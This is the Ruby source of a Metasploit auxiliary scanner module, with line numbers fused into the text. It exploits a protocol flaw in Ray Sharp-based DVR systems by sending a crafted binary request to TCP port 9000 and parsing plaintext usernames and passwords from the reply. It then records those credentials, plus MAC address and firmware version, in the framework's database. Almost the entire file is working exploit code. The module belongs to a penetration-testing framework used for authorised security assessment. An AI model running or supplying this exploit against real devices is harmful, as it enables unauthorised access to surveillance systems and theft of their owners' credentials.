Path: blob/master/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb
19567 views
# encoding: binary12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::Tcp9include Msf::Auxiliary::Report10include Msf::Auxiliary::Scanner1112def initialize13super(14'Name' => 'Ray Sharp DVR Password Retriever',15'Description' => %q{16This module takes advantage of a protocol design issue with the17Ray Sharp based DVR systems. It is possible to retrieve the username and18password through the TCP service running on port 9000. Other brands using19this platform and exposing the same issue may include Swann, Lorex,20Night Owl, Zmodo, URMET, and KGuard Security.21},22'Author' => [23'someluser', # Python script24'hdm' # Metasploit module25],26'References' => [27[ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ]28],29'License' => MSF_LICENSE30)3132register_options([ Opt::RPORT(9000) ])33end3435def report_cred(opts)36service_data = {37address: opts[:ip],38port: opts[:port],39service_name: opts[:service_name],40protocol: 'tcp',41workspace_id: myworkspace_id42}4344credential_data = {45origin_type: :service,46module_fullname: fullname,47username: opts[:user],48private_data: opts[:password],49private_type: :password50}.merge(service_data)5152login_data = {53core: create_credential(credential_data),54status: Metasploit::Model::Login::Status::UNTRIED,55proof: opts[:proof]56}.merge(service_data)5758create_credential_login(login_data)59end6061def run_host(ip)62req =63"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +64"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" +65("\x00" * 475)6667connect68sock.put(req)6970buf = ""71begin72# Pull data until the socket closes or we time out73Timeout.timeout(15) do74loop do75res = sock.get_once(-1, 1)76buf << res if res77end78end79rescue ::Timeout::Error80rescue ::EOFError81end8283disconnect8485info = ""86mac = nil87ver = nil8889creds = {}9091buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred|92# Make sure the two passwords match93next unless cred[1] == cred[2]9495creds[cred[0]] = cred[1]96end9798if creds.keys.length > 099creds.keys.sort.each do |user|100pass = creds[user]101report_cred(102ip: rhost,103port: rport,104service_name: 'dvr',105user: user,106password: pass,107proof: pass108)109info << "(user='#{user}' pass='#{pass}') "110end111end112113# Look for MAC address114if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi115mac = $1116end117118# Look for version119if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m120ver = $1121end122123info << "mac=#{mac} " if mac124info << "version=#{ver} " if ver125126return unless (creds.keys.length > 0 or mac or ver)127128report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info)129print_good("#{rhost}:#{rport} #{info}")130end131end132133134